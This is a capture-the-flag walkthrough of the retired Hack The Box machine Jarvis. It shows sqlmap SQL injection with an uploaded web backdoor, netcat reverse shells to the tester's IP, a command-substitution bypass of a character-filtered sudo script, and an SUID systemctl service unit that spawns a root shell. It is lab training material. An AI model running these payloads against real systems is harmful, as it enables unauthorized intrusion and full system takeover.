- Release Date: 22 June 2019
- Creators: manulqwerty & Ghostpp7
- Difficulty: Medium
- Retired on 10 November 2019
Summary
- SQL Injection in web app leads to command execution as www-data.
- www-data is allowed to run a particular script as the user “pepper”, it is vulnerable to command injection.
- SUID is set on systemctl, a systemd unit file is used to get a root shell.
Port Scan
Full Nmap scan reveals 3 open TCP ports:
- 22
- 80
- 64999
nmap -sV -sC -T4 -vvv -oN nmapfull -p- 10.10.10.143
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzv4ZGiO8sDRbIsdZhchg+dZEot3z8++mrp9m0VjP6qxr70SwkE0VGu+GkH7vGapJQLMvjTLjyHojU/AcEm9MWTRWdpIrsUirgawwROic6HmdK2e0bVUZa8fNJIoyY1vPa4uNJRKZ+FNoT8qdl9kvG1NGdBl1+zoFbR9az0sgcNZJ1lZzZNnr7zv/Jghd/ZWjeiiVykomVRfSUCZe5qZ/aV6uVmBQ/mdqpXyxPIl1pG642C5j5K84su8CyoiSf0WJ2Vj8GLiKU3EXQzluQ8QJJPJTjj028yuLjDLrtugoFn43O6+IolMZZvGU9Man5Iy5OEWBay9Tn0UDSdjbSPi1X
| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCDW2OapO3Dq1CHlnKtWhDucQdl2yQNJA79qP0TDmZBR967hxE9ESMegRuGfQYq0brLSR8Xi6f3O8XL+3bbWbGQ=
| 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPuKufVSUgOG304mZjkK8IrZcAGMm76Rfmq2by7C0Nmo
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
64999/tcp open http syn-ack ttl 63 Apache httpd 2.4.25 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
SQL Injection
By taking a look at the web app on port 80, we find a booking system (http://10.10.10.143/room.php?cod=1). Sqlmap quickly finds several SQLi vulnerabilities in the cod
parameter.
sqlmap -u http://10.10.10.143/room.php?cod=1
[10:31:37] [INFO] GET parameter 'cod' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'cod' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=1 AND 6579=6579
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cod=1 AND (SELECT 8911 FROM (SELECT(SLEEP(5)))tXpJ)
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-3245 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a786b71,0x5a43574a7a475047735141746a76454f4b78635242776a697761506c68525a684c555a524a5a4c53,0x7162786b71),NULL,NULL,NULL-- cYPv
---
[10:31:40] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: PHP, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
We can use the convenient OS Shell feature of sqlmap to execute shell commands:
sqlmap -u http://10.10.10.143/room.php?cod=1 --os-shell
[10:32:43] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: PHP, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[10:32:43] [INFO] going to use a web backdoor for command prompt
[10:32:43] [INFO] fingerprinting the back-end DBMS operating system
[10:32:43] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
[10:32:46] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: /var/www/html/
[02:25:42] [INFO] retrieved web server absolute paths: '/images/'
[02:25:42] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method
[02:25:43] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpujxtp.php
[02:25:43] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpbcbca.php
[02:25:43] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'www-data'
Let’s get a better shell:
os-shell> nc -e /bin/bash 10.10.15.251 5566
do you want to retrieve the command standard output? [Y/n/a] n
root@kali:~/Documents/htbmachines/jarvis143# nc -vlp 5566
listening on [any] 5566 ...
connect to [10.10.15.251] from supersecurehotel.htb [10.10.10.143] 34850
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@jarvis:/var/www/html$
Privilege Escalation Part 1 – Pepper
By looking around, we notice www-data
can run a python script as the pepper
user:
www-data@jarvis:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
www-data@jarvis:/var/www/html$
Let’s take a look:
www-data@jarvis:/var/www/Admin-Utilities$ sudo -u pepper ./simpler.py
********************************************************
* Simpler - A simple simplifier ;) *
* Version 1.0 *
********************************************************
Usage: python3 simpler.py [options]
Options:
-h/--help : This help
-s : Statistics
-l : List the attackers IP
-p : ping an attacker IP
The ping function of that script is defined as follows:
def exec_ping():
forbidden = ['&', ';', '-', '\`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
So we can pass anything to the ping
command, except the following characters: ‘&’, ‘;’, ‘-‘, ‘`’, ‘||’, ‘|’.
But we can still use parentheses and dollar signs, so we can use command substitution syntax (i.e. $(command)
) to execute arbitrary commands.
Let’s put a reverse shell command in a file and start listening for connections.
On Jarvis:
www-data@jarvis:/var/www/Admin-Utilities$ echo "nc -e /bin/bash 10.10.15.251 5577" > /tmp/sh.sh
Locally:
root@kali:~/Documents/htbmachines/jarvis143# nc -vlp 5577
listening on [any] 5577 ...
Then, we use $() syntax to execute the command we’ve put in /tmp/sh.sh
:
www-data@jarvis:/var/www/Admin-Utilities$ sudo -u pepper ./simpler.py -p
sudo -u pepper ./simpler.py -p
[...]
Enter an IP: "$(/bin/bash /tmp/sh.sh)"
"$(/bin/bash /tmp/sh.sh)"
And we get a connection:
root@kali:~/Documents/htbmachines/jarvis143# nc -vlp 5577
listening on [any] 5577 ...
connect to [10.10.15.251] from supersecurehotel.htb [10.10.10.143] 50598
Privilege Escalation Part 2 – Root
Using the shell obtained in the previous step, we notice that SUID is set on the systemctl binary:
pepper@jarvis:/var/www/Admin-Utilities$ ls -la `which systemctl`
ls -la `which systemctl`
-rwsr-x--- 1 root pepper 174520 Feb 17 2019 /bin/systemctl
Since the executable is owned by root, we can run systemctl with root privileges. Systemctl provides the edit
command to edit systemd unit files. Combining it with the --force
flag allows us to create a new unit file, but the editor won’t work in the current shell. To proceed, we can add an SSH public key to pepper’s authorized_keys and get a nice SSH session, in which the editor will work. Then;
pepper@jarvis:~$ systemctl edit --force nxnjz.service
The following service will give us a root shell:
[Unit]
Description=test
[Service]
ExecStart=/bin/nc -e /bin/bash 10.10.15.251 7788
Finally, start listening for connection and start the newly-created service:
Locally:
root@kali:~/Documents/htbmachines/jarvis143# nc -vlp 7788
listening on [any] 7788 ...
On Jarvis:
pepper@jarvis:~$ systemctl start nxnjz.service
And voila:
root@kali:~/Documents/htbmachines/jarvis143# nc -vlp 7788
listening on [any] 7788 ...
connect to [10.10.15.251] from supersecurehotel.htb [10.10.10.143] 37082
whoami
root
More Info
From BASH(1) Manual:
Command Substitution
Command substitution allows the output of a command to replace the command name. There are two forms:
$(command)
or
`command`
Bash performs the expansion by executing command in a subshell environment and replacing the command substitution with the standard output of
the command, with any trailing newlines deleted. Embedded newlines are not deleted, but they may be removed during word splitting. The com‐
mand substitution $(cat file) can be replaced by the equivalent but faster $(< file).
When the old-style backquote form of substitution is used, backslash retains its literal meaning except when followed by $, `, or \. The
first backquote not preceded by a backslash terminates the command substitution. When using the $(command) form, all characters between the
parentheses make up the command; none are treated specially.
Command substitutions may be nested. To nest when using the backquoted form, escape the inner backquotes with backslashes.
If the substitution appears within double quotes, word splitting and pathname expansion are not performed on the results.
From SYSTEMCTL(1) Manual:
edit UNIT...
Edit a drop-in snippet or a whole replacement file if --full is specified, to extend or override the specified unit.
Depending on whether --system (the default), --user, or --global is specified, this command creates a drop-in file for each unit either
for the system, for the calling user, or for all futures logins of all users. Then, the editor (see the "Environment" section below) is
invoked on temporary files which will be written to the real location if the editor exits successfully.
If --full is specified, this will copy the original units instead of creating drop-in files.
If --force is specified and any units do not already exist, new unit files will be opened for editing.
If --runtime is specified, the changes will be made temporarily in /run and they will be lost on the next reboot.
If the temporary file is empty upon exit, the modification of the related unit is canceled.
After the units have been edited, systemd configuration is reloaded (in a way that is equivalent to daemon-reload).
Note that this command cannot be used to remotely edit units and that you cannot temporarily edit units which are in /etc, since they
take precedence over /run.